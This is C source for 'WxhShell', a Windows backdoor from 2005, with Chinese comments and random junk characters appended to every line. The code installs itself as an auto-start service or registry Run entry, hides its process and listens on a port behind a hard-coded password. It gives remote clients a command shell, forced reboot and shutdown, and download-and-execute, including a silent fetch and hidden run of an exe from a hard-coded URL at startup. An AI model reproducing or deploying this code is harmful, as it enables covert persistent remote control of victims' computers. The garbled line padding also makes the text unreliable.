    } W)~.o/;  
    break; M\6v}kUY  
    } A>2p/iMc  
  // 获取shell TAoR6aE  
  case 's': { z$5C(!)  
    CmdShell(wsh); $NRb'   
    closesocket(wsh); sYP@>tHC  
    ExitThread(0); MW>28  
    break; OkUpgXU  
  } !Qzp!k9d  
  // 退出 <\EfG:e  
  case 'x': { GLF"`M/g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <%7 V`,*g/  
    CloseIt(wsh); itgO#(g$Q  
    break; sZDJ+  
    } j'x{j %U  
  // 离开 >7q,[:(gs  
  case 'q': { gD =5M\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); * v]UgPk  
    closesocket(wsh); K7VG\Ec  
    WSACleanup(); Vgk,+l!4  
    exit(1); Z!eq/  
    break; w8ld* z  
        } =Q/>g6  
  } m3-J0D<  
  } _=x_"rz x  
xB+H7Ya  
  // 提示信息 eF1%5;" W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XOU$3+8q5  
} Q0_W<+`  
  } c/U6K yiK  
4,DsB'  
  return; &/?jMyD@  
} h'KtG<+  
.U%"oD  
// shell模块句柄 rv%[?Ml  
int CmdShell(SOCKET sock) 2f4c;YS  
{ l$9,  
STARTUPINFO si; 74(J7  
ZeroMemory(&si,sizeof(si)); 1iDo$]TEK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Af<>O$$6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "6QMa,)D  
PROCESS_INFORMATION ProcessInfo; d]`,}vi#E9  
char cmdline[]="cmd"; J,Ap9HJt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;P~S/j[ 8  
  return 0; Q>yt O'v1  
} S>E.*]_  
$ '*BS  
// 自身启动模式 r ngw6?`n-  
int StartFromService(void) V5 r7eC  
{ 6Qu*'  
typedef struct `p|vutk)U  
{ >#|Yoc  
  DWORD ExitStatus; vDvGT<d  
  DWORD PebBaseAddress; ^W'[l al.  
  DWORD AffinityMask; dR:iUw:V  
  DWORD BasePriority; D0i30p`  
  ULONG UniqueProcessId; H/Q)zDP  
  ULONG InheritedFromUniqueProcessId; qT @IY)e  
}   PROCESS_BASIC_INFORMATION; f tDV3If  
q:^Cw8  
PROCNTQSIP NtQueryInformationProcess; >IjLFM+U  
Ghc0{M<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T%/w^27E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hM w`e  
!g"9P7p  
  HANDLE             hProcess; c"1d#8J  
  PROCESS_BASIC_INFORMATION pbi; p\ S3A(  
T@.D5[q0:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "mK (?U!A  
  if(NULL == hInst ) return 0; au* jMcq  
7!;/w;C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Beg5[4@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *rT(dp!Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gw T,D.'Ut  
|vzWSm  
  if (!NtQueryInformationProcess) return 0; pN_!&#|+$  
F JhVbAMd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !*6z=:J  
  if(!hProcess) return 0; KL]!E ~i  
4&fnu/,Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =i?,y +<  
Al}PJz\  
  CloseHandle(hProcess); ,O$C9pH9  
O]eJQ4XN<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mk?I}  
if(hProcess==NULL) return 0; Lm#d.AD)  
F-0PmO~3+W  
HMODULE hMod; or`stBx  
char procName[255]; ,c l<74d  
unsigned long cbNeeded; [{$0E=&0  
x$DJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V"iLeC  
|pSoBA9U  
  CloseHandle(hProcess); IoOnS)  
GJPZ[bo  
if(strstr(procName,"services")) return 1; // 以服务启动 qCN7i&k,  
ulJYJ+CC!  
  return 0; // 注册表启动 e]h'  
} =]"|x7'!  
ifZNl,  
// 主模块 5AU3s  
int StartWxhshell(LPSTR lpCmdLine) ;(6lN<i U  
{ *DzPkaYD>  
  SOCKET wsl; 0EXNq*=EE  
BOOL val=TRUE; y/eX(l<{  
  int port=0; Un{ln*AR\  
  struct sockaddr_in door; :j4 [_9\  
uF"`y&go  
  if(wscfg.ws_autoins) Install(); !Jl0Eu  
tC-KW~&  
port=atoi(lpCmdLine); [HDO^6U  
! -@!u   
if(port<=0) port=wscfg.ws_port; Qe.kN dT+_  
r0 C6Ww7u  
  WSADATA data; _\PoZ|G4y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u6T?oK9j  
>irT|VTf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :/%xK"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \w[%n0  
  door.sin_family = AF_INET; |/s2AzDD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { ][7Np!y  
  door.sin_port = htons(port); -$ z"74  
'PYqp&gJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w8I&:"^7<  
closesocket(wsl); |9Ks13?Ck  
return 1; dvF48,kr  
} n ]}2O 4j  
?<^AXLiKV  
  if(listen(wsl,2) == INVALID_SOCKET) { ?I#hrv@  
closesocket(wsl);  WPKTX,k  
return 1; @6'E8NFl  
} #2ASzCe  
  Wxhshell(wsl); '$-,;vnP0  
  WSACleanup(); pY#EXZ#   
+Z2<spqG  
return 0; X>8?p'*  
fhx:EZ:~  
} ){6)?[G  
UVUO}B@[S  
// 以NT服务方式启动 })vr*[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E?U]w0g  
{ u(WQWsN  
DWORD   status = 0; >ImM~SR)  
  DWORD   specificError = 0xfffffff; 1t=X: ]0j  
[iy;}5XK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cY'To<v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4,ynt&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ltd?#HP  
  serviceStatus.dwWin32ExitCode     = 0; 8Flf,"a   
  serviceStatus.dwServiceSpecificExitCode = 0; l5]oS? >y  
  serviceStatus.dwCheckPoint       = 0; Er1u1@  
  serviceStatus.dwWaitHint       = 0; ?$4R <  
E wsq0D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zb}+ m#q  
  if (hServiceStatusHandle==0) return; w?W e|x3  
:P~& b P  
status = GetLastError(); H<7DcwXv  
  if (status!=NO_ERROR) Ilu`b|%D  
{ Cy:`pYxhd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @Qjl`SL%O^  
    serviceStatus.dwCheckPoint       = 0; h21(K}  
    serviceStatus.dwWaitHint       = 0; `R52{B#&/  
    serviceStatus.dwWin32ExitCode     = status; 7P^{*!  
    serviceStatus.dwServiceSpecificExitCode = specificError; q,JA~GG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C;:L~)C@t  
    return; 6cT~irP  
  } i)PV{3v$J  
]N <]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %g@3S!lK  
  serviceStatus.dwCheckPoint       = 0; b_gN?F7_  
  serviceStatus.dwWaitHint       = 0; uPC qO+f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R:BBNzY}f  
} nk|N.%E  
&z X 3  
// 处理NT服务事件,比如:启动、停止 giPo;z\c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /uXRZ  
{ [^}>AC*im  
switch(fdwControl) zo7XmUI3P  
{ mQ60@_"Y=,  
case SERVICE_CONTROL_STOP: K#f`_SCW  
  serviceStatus.dwWin32ExitCode = 0; X >Xp&o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  QXxLe*  
  serviceStatus.dwCheckPoint   = 0; jvc?hUcLKT  
  serviceStatus.dwWaitHint     = 0; '}pgUh_  
  { OG^WZ.YU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;(0(8G  
  } ^HlLj#  
  return; OWXye4`*  
case SERVICE_CONTROL_PAUSE: % X ,B-h^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m9<%v0r  
  break; #+Yp^6zg  
case SERVICE_CONTROL_CONTINUE: Ma=6kX]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }vUlTH  
  break; M?~<w)L}  
case SERVICE_CONTROL_INTERROGATE: `KJYm|@i  
  break; feI[M;7u  
}; Z~phOv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO(0D?PCR  
} 7?!Z+r  
-Xxu/U})%  
// 标准应用程序主函数 <\d|=>;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U|Z>SE<k  
{ ')u5l  
XL7;^AE^Wl  
// 获取操作系统版本 _95}ifSVm  
OsIsNt=GetOsVer(); M o"JV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x !:9c<  
`f 6)Q`n  
  // 从命令行安装 $v'Y:  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ue g N-n  
JXLWRe  
  // 下载执行文件 Y( $Ji12  
if(wscfg.ws_downexe) { @"{'j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !V]MLA`  
  WinExec(wscfg.ws_filenam,SW_HIDE); >)n4s Mq  
} MB8SB   
# NN"(I  
if(!OsIsNt) { G V:$;  
// 如果时win9x,隐藏进程并且设置为注册表启动 EAD0<I<>  
HideProc(); y  KYP  
StartWxhshell(lpCmdLine); iIGI=EwZ  
} A`x -L  
else iJZ|[jEDV  
  if(StartFromService()) JIP+ !2  
  // 以服务方式启动 lLkmcHu  
  StartServiceCtrlDispatcher(DispatchTable); ||=[kjG~  
else Wm$`ae   
  // 普通方式启动 6@?aVM~  
  StartWxhshell(lpCmdLine); =CKuiO.j  
5i4V5N>3  
return 0; ."IJmv  
} z#{ 0;t  
0;FqX*  
Gin_E&%g  
q[)q|R|  
=========================================== ]|,q|c,  
H}sS4[z  
Q&Z4r9+Z  
b.R!2]T]i^  
SLdN.4idK  
1tc]rC4h  
" h6\3vfj^f  
<'}b*wUB  
#include <stdio.h> ~[| V3h4v  
#include <string.h> L$29L:  
#include <windows.h> $(@o$%d  
#include <winsock2.h> "?.'{,Q  
#include <winsvc.h> Q%& _On  
#include <urlmon.h> @e! Zc3  
xb9Pc.A[  
#pragma comment (lib, "Ws2_32.lib") &o*s !u  
#pragma comment (lib, "urlmon.lib") t;.^K\S4  
@K$VV^wp  
#define MAX_USER   100 // 最大客户端连接数 %@lV-(5q  
#define BUF_SOCK   200 // sock buffer h"%|\o+3  
#define KEY_BUFF   255 // 输入 buffer yV:EK{E  
:DdBn.  
#define REBOOT     0   // 重启 ]6t]m2~\  
#define SHUTDOWN   1   // 关机 n+{HNr  
~K~b`|1  
#define DEF_PORT   5000 // 监听端口 qIbg 4uE  
rU=b?D)n!w  
#define REG_LEN     16   // 注册表键长度 (C`FicY  
#define SVC_LEN     80   // NT服务名长度 N5 SLF4R1  
e2AN[Ar  
// 从dll定义API Pz]bZPHn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7?=43bZl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q_&}^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hrs#ZZ:E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m~)Fr8Wh6  
bZNIxkc[Dh  
// wxhshell配置信息 9 wO/?   
struct WSCFG { f^W[; w  
  int ws_port;         // 监听端口 E?30J3S  
  char ws_passstr[REG_LEN]; // 口令 1Pk mg%+  
  int ws_autoins;       // 安装标记, 1=yes 0=no iNod</+"K  
  char ws_regname[REG_LEN]; // 注册表键名 .FIt.XPzv  
  char ws_svcname[REG_LEN]; // 服务名 omM&{ }8g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 op hH9D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f._l105.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uiktdZ/f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vk  @%R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1)TK01R8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x9&-(kBU  
8tb6 gZz  
}; yicO!:bM  
)Y3EQxXa  
// default Wxhshell configuration ([:]T$0 #  
struct WSCFG wscfg={DEF_PORT, t"<s}~  
    "xuhuanlingzhe", /> ^@ O  
    1, Yim{U:F  
    "Wxhshell", J=I:T2bV&s  
    "Wxhshell", ic%?uWN  
            "WxhShell Service", .6>  hD1'  
    "Wrsky Windows CmdShell Service", 3B@y &a#&  
    "Please Input Your Password: ", *#3*;dya]  
  1, P^ptsZ%  
  "http://www.wrsky.com/wxhshell.exe", wL4Z W8_  
  "Wxhshell.exe" 3/X-Cr+d  
    }; `J72+RA  
wgCvD  
// 消息定义模块 w3^NL(>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9YR]+*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P DRnW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T}C2e! _O  
char *msg_ws_ext="\n\rExit."; 7#QLtU  
char *msg_ws_end="\n\rQuit."; (+|X<Bl:`  
char *msg_ws_boot="\n\rReboot..."; LmP qLH'(Q  
char *msg_ws_poff="\n\rShutdown..."; q5Fs)B  
char *msg_ws_down="\n\rSave to "; YiD-F7hf.*  
IUOxGJ|rO  
char *msg_ws_err="\n\rErr!"; "mP&8y 9F  
char *msg_ws_ok="\n\rOK!"; h}<0/  
Aj [?aL  
char ExeFile[MAX_PATH]; /-h6`@[  
int nUser = 0; z5x _fAT(  
HANDLE handles[MAX_USER]; >A-<ZS*N  
int OsIsNt; b9!.-^<8y  
led))qd@V-  
SERVICE_STATUS       serviceStatus; z"tjDP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =WC-Sj{I  
!RS9%ES_?  
// 函数声明 l :/&E 6 9  
int Install(void); ,Du@2w3Cq  
int Uninstall(void); N;uUx#z  
int DownloadFile(char *sURL, SOCKET wsh); Ab/j(xr=  
int Boot(int flag); W+_RhJ  
void HideProc(void); {9L5Q  
int GetOsVer(void); CdY8 #+"  
int Wxhshell(SOCKET wsl); 0axxQ!Ivx  
void TalkWithClient(void *cs); q#MM  
int CmdShell(SOCKET sock); !lAD q|$  
int StartFromService(void); (ab{F5  
int StartWxhshell(LPSTR lpCmdLine); !BDUv(  
2K;#Evn'j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z1M>-[j)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Frk cO  
F!J J6d53y  
// 数据结构和表定义 X 7=fX~s  
SERVICE_TABLE_ENTRY DispatchTable[] = 7|YN:7iA  
{ @:Di`B_{  
{wscfg.ws_svcname, NTServiceMain}, %%>_B2vc  
{NULL, NULL} ^(ScgoXva  
}; ;6ky5}z  
P.djd$#  
// 自我安装 QdQ d(4/1  
int Install(void) f;gZ|a  
{ ` @8`qXg  
  char svExeFile[MAX_PATH]; X APYpBgm  
  HKEY key; ~4\,&HH  
  strcpy(svExeFile,ExeFile); VU|;:  
Wqra8u#  
// 如果是win9x系统,修改注册表设为自启动 qos`!=g?  
if(!OsIsNt) { 1~J5uB4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K%MW6y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cq*=|m0}Z  
  RegCloseKey(key); nU(DYHc+l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2edBQYWd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M`vyTuO3SO  
  RegCloseKey(key); dt_e  
  return 0; r [s!F=^  
    } p~2UUm V  
  } nBN&.+3t  
} @wp4 |G  
else { [|[>}z:  
q]\X~ 9#  
// 如果是NT以上系统,安装为系统服务 SHD^}?-|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,m^;&&  
if (schSCManager!=0) a8$kNtA  
{ e*C6uz9N  
  SC_HANDLE schService = CreateService Tr& }$kird  
  ( ,Ol (piR  
  schSCManager, \hlR]m!C  
  wscfg.ws_svcname, /- 4$7qd  
  wscfg.ws_svcdisp, oE?QnH3R  
  SERVICE_ALL_ACCESS, aQ#qRkI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S:q$?$  
  SERVICE_AUTO_START, [3N[i(Wlk  
  SERVICE_ERROR_NORMAL, /RT%0!  
  svExeFile, p_{("zQ  
  NULL, at6149B\)  
  NULL, ]"F5;p; y  
  NULL, /qU>5;  
  NULL, k%P;w1  
  NULL ~9=aT1S|  
  ); w8iR|TV  
  if (schService!=0) @*MC/fe  
  { C5W>W4EM  
  CloseServiceHandle(schService); b.F^vv"]]  
  CloseServiceHandle(schSCManager); :?Y$bX}a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5\Fz!  
  strcat(svExeFile,wscfg.ws_svcname); {_#yz\j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hXn3,3f3oZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :jEPu3E:  
  RegCloseKey(key); @]HXP_lyD/  
  return 0; w!SkWS b,~  
    } l&$$w!n0w  
  } @ O>&5gB1u  
  CloseServiceHandle(schSCManager); 8' K0L(3[  
} ;n6b%,s  
} -x`G2i  
1mH%H*#  
return 1; R}:KE&tq  
} !}KqB8;  
)US:.7A[.  
// 自我卸载 2+o |A  
int Uninstall(void) }-@4vl x$  
{ ' GG=Ebt  
  HKEY key; G{9X)|d  
l4y{m#/  
if(!OsIsNt) { xJZ@DR,#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X|DO~{-au  
  RegDeleteValue(key,wscfg.ws_regname); /mM2M-  
  RegCloseKey(key); O 5 Nb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }(XdB:C8  
  RegDeleteValue(key,wscfg.ws_regname); v$wBxCY  
  RegCloseKey(key); q<#>HjC  
  return 0; vuQ%dDxI  
  } -e u]:4  
} \5)htL1F  
} w}R~C   
else { $gpG%Qj  
fyWO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SP]IUdE\  
if (schSCManager!=0) p4K.NdUH  
{ o4b~4 h{%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EGq;7l6u&?  
  if (schService!=0) JUAS$Y  
  { ~z5R{;Nbz|  
  if(DeleteService(schService)!=0) { 8>WVodv  
  CloseServiceHandle(schService); V DS23Bo  
  CloseServiceHandle(schSCManager); )yK[Zb[  
  return 0; TXXy\$  
  } 4Kwh?8.  
  CloseServiceHandle(schService); WQNE2Q  
  } f:B>zp;N  
  CloseServiceHandle(schSCManager); _c$9eAe  
}  '1^B +m  
} X^9d/}uTa  
fq[;%cr4  
return 1; +>~?m*$  
}  Ez~'^s@  
\dQx+f&t  
// 从指定url下载文件 RP5+d  
int DownloadFile(char *sURL, SOCKET wsh) gk[{2HgN  
{ J[~5U~F  
  HRESULT hr; <"D=6jqZ  
char seps[]= "/"; P^`duZ{T  
char *token; -u!FOD/  
char *file; `1OgYs  
char myURL[MAX_PATH]; >>i@r@  
char myFILE[MAX_PATH]; A5'NGt  
k67a'pmyJ  
strcpy(myURL,sURL); wa=uUM_4u^  
  token=strtok(myURL,seps); 3@Z#.FV~C[  
  while(token!=NULL) #@@Mxr'F  
  { 0Uk@\[1ox  
    file=token; vsWHk7 9  
  token=strtok(NULL,seps); h N2:d1f0  
  } wkqX^i7ls  
S [h];eM  
GetCurrentDirectory(MAX_PATH,myFILE); %?^6).aEK  
strcat(myFILE, "\\"); W!!S!JF  
strcat(myFILE, file); obrl#(\P  
  send(wsh,myFILE,strlen(myFILE),0); 54-#QIx|  
send(wsh,"...",3,0);  Uo12gIX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <GHYt#GIZ+  
  if(hr==S_OK) [[d(jV=*  
return 0; ~_IHaw$hg  
else RB* J=  
return 1; /2EHv.e `  
1i:|3PA~  
} jcNT<}k C  
Uy ?  
// 系统电源模块 ;w|b0V6  
int Boot(int flag) hQ6a~?f  
{ .h&k jD  
  HANDLE hToken; ;$Y4xM`=m  
  TOKEN_PRIVILEGES tkp; ")O`mXg-  
kF;D BN  
  if(OsIsNt) { HHX-1+L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r:&` $8$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 53-v|'9'  
    tkp.PrivilegeCount = 1; fFj grK8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1&;QyTN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -[U1]R  
if(flag==REBOOT) { {~|OE -X][  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x8\A<(G_M=  
  return 0; PHA-9\jC{  
} o9xlu.QL{c  
else { w.,Q1\*rPp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Le<w R  
  return 0; :1t~[-h^  
} 3d<HN6&U  
  } L-B<nl  
  else { .s+aZwTMT  
if(flag==REBOOT) { |#1(Z-}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) / XnhmqWm%  
  return 0; qd8n2f  
} "&+"@ <  
else { DvvT?K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `n$5+a+  
  return 0; lWBb4 !l  
} '47P|t  
} 2I*;A5$N1  
fDG0BNLY  
return 1; |6=p{ y  
} xI>A6  
&Tl 0Pf  
// win9x进程隐藏模块 l;y7]DO  
void HideProc(void) >.dWjb6t  
{ vSi_t K4  
WTImRXK4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zC _<(4$-"  
  if ( hKernel != NULL ) TuW%zF/  
  { rx (2yf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N3u((y/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "\0v,!@  
    FreeLibrary(hKernel); 6JKqn~0Kk  
  } PJcwH6m  
G$ _yy:  
return; s'kDk2r  
} }%Bl>M  
^v.,y3  
// 获取操作系统版本 @?YRuwp L  
int GetOsVer(void) f!O{%ev  
{ )(y) A[  
  OSVERSIONINFO winfo; pb#?l6x$+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r5!/[_l  
  GetVersionEx(&winfo); CHV*vU<N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kcb.Wz~=  
  return 1; %W@v2  
  else }Tf9S<xpq3  
  return 0; p~*UpU8u  
} 71vkyn@"  
JH:0 L  
// 客户端句柄模块 !S&L*OH,  
int Wxhshell(SOCKET wsl) Bz5-ITX   
{ $Y5)(  
  SOCKET wsh; o.q/O)'V u  
  struct sockaddr_in client; :n /@z4#  
  DWORD myID; |&Ym@Jyj  
6252N]*  
  while(nUser<MAX_USER) f4L`.~b'hb  
{ TEDAb >  
  int nSize=sizeof(client); rj6#1kt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $H+VA@_  
  if(wsh==INVALID_SOCKET) return 1; e["2QIOe  
H,N)4;F<c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =m5SK5vLKT  
if(handles[nUser]==0) gn3jy^5  
  closesocket(wsh); Nbp!teH6  
else ?B :a|0pf  
  nUser++; X^WrccNX  
  } JPGzrEaZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7"8hC  
+[5.WC7J  
  return 0; Qx[t /~  
} qIld;v8w"g  
-WYAN:s  
// 关闭 socket !qX_I db\  
void CloseIt(SOCKET wsh) B/` !K  
{ i86>]  
closesocket(wsh); ?.D3'qv  
nUser--; =zyC-;r!  
ExitThread(0); 5 Kkdo!z  
} V*W;OiE_ 3  
<Qxh)@ N  
// 客户端请求句柄 H@ t'~ZO  
void TalkWithClient(void *cs) o1<_fI  
{ hGiz)v~  
}<dRj  
  SOCKET wsh=(SOCKET)cs; ~i`>adJ:  
  char pwd[SVC_LEN]; f%V4pzOc"  
  char cmd[KEY_BUFF]; }!6\|;Qsz,  
char chr[1]; ?wO-cnl  
int i,j; 6 ~ >FYX  
e^O(e  
  while (nUser < MAX_USER) { kYLM&&h  
8>7& E-  
if(wscfg.ws_passstr) { 9;veuX#(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $^@)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wQRZ"ri,  
  //ZeroMemory(pwd,KEY_BUFF); L:9F:/G  
      i=0; &LbJT$}V  
  while(i<SVC_LEN) { !ET~KL!  
E8-P"`Qba  
  // 设置超时 K# Jk _"W  
  fd_set FdRead; QR>gt;  
  struct timeval TimeOut; U*3uq7  
  FD_ZERO(&FdRead); v'e[GB 0  
  FD_SET(wsh,&FdRead); !%c'$f/  
  TimeOut.tv_sec=8; .-<k>9S7_  
  TimeOut.tv_usec=0; IKi5 v~bE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \|K;-pL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Uf,4  
c 9jGq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ibuWb"a  
  pwd=chr[0]; G#?Sfn O0  
  if(chr[0]==0xd || chr[0]==0xa) { +). 0cs0k5  
  pwd=0; *cEob b  
  break; DZ_lW  
  } nB!&Zq  
  i++; $#]]K  
    } L: z?Zt)|  
r fq;%C  
  // 如果是非法用户,关闭 socket D&S26jrZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mdw7}%5V  
} z(H^..<!5  
_%GGl$kH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /IsS;0K%L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i@4~.iZ8  
?2oHZ%G  
while(1) { ?]x|Zy  
k2AJXw  
  ZeroMemory(cmd,KEY_BUFF); L =8rH5  
g>J<%z, }2  
      // 自动支持客户端 telnet标准   0lv %`,  
  j=0; SXy=<%ed  
  while(j<KEY_BUFF) { F}=aBV|-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ##4GK08!  
  cmd[j]=chr[0]; 'z$Q rFW  
  if(chr[0]==0xa || chr[0]==0xd) { 3JVK  
  cmd[j]=0; 4 M(-xl?  
  break; ,13Lq-  
  } ;f"0~D2  
  j++; Yboiw y,n  
    } [3@):8  
A$w4PVS  
  // 下载文件 !U5Wr+83  
  if(strstr(cmd,"http://")) { ,%)6jYHRw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [h,QBz  
  if(DownloadFile(cmd,wsh)) )LyojwY_g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Tc]KXD6  
  else ~t~-A,1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >hr{JJe  
  } 3#TV5+x*"`  
  else { [AW" D3  
R[;z X(y  
    switch(cmd[0]) { V#`fs|e;y  
  sxt-Vs7+6  
  // 帮助 IhA*"  
  case '?': { (e[}/hf6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8:/e GM  
    break; r3\cp0P;s  
  } DuOG {  
  // 安装 )'4k|@8|  
  case 'i': { D &/L:  
    if(Install()) di>cMS 4 c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L*~J%7  
